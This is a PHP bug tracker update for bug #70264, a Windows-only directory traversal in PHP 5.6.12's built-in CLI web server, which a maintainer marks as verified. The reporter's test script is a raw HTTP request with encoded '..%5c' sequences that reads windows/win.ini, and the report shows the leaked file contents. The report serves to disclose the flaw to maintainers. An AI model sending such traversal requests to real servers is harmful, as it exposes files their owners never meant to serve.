Bug #70264 [Opn->Ver]: CLI server directory traversal

Edit report at https://bugs.php.net/bug.php?id=70264&edit=1 ID: 70264 Updated by: cmb@php.net Reported by: jplopezy at gmail dot com -Summary: PHP 5.6.12 directory traversal +Summary: CLI server directory traversal -Status: Open +Status: Verified Type: Bug -Package: HTTP related +Package: Built-in web server -Operating System: Windows 7 +Operating System: Windows only PHP Version: 5.6.12 -Assigned To: +Assigned To: cmb Block user comment: N Private report: N Previous Comments: ------------------------------------------------------------------------ [2015-08-14 00:16:09] stas@php.net CLI server is a debugging server so should not be used in production context. ------------------------------------------------------------------------ [2015-08-14 00:05:13] jplopezy at gmail dot com Description: ------------ The bug is in the local php web server for testing (http://php.net/manual/es/features.commandline.webserver.php) This readme says that this webserver is only for testing, but maybe in a lan this issue allow to steal files from the devolverps, or maybe some other people use in production this web server in php. Test script: --------------- Only you need send this request GET /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini HTTP/1.1 Host: 127.0.0.1 Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */* Expected result: ---------------- Don't display files that escape from the webserver directory. Actual result: -------------- Response with my win.ini ; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 CMCDLLNAME32=mapi32.dll CMC=1 MAPIX=1 MAPIXVER=1.0.0.1 OLEMessaging=1 [MCI Extensions.BAK] 3g2=MPEGVideo 3gp=MPEGVideo 3gp2=MPEGVideo 3gpp=MPEGVideo aac=MPEGVideo adt=MPEGVideo adts=MPEGVideo m2t=MPEGVideo m2ts=MPEGVideo m2v=MPEGVideo m4a=MPEGVideo m4v=MPEGVideo mod=MPEGVideo mov=MPEGVideo mp4=MPEGVideo mp4v=MPEGVideo mts=MPEGVideo ts=MPEGVideo tts=MPEGVideo ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=70264&edit=1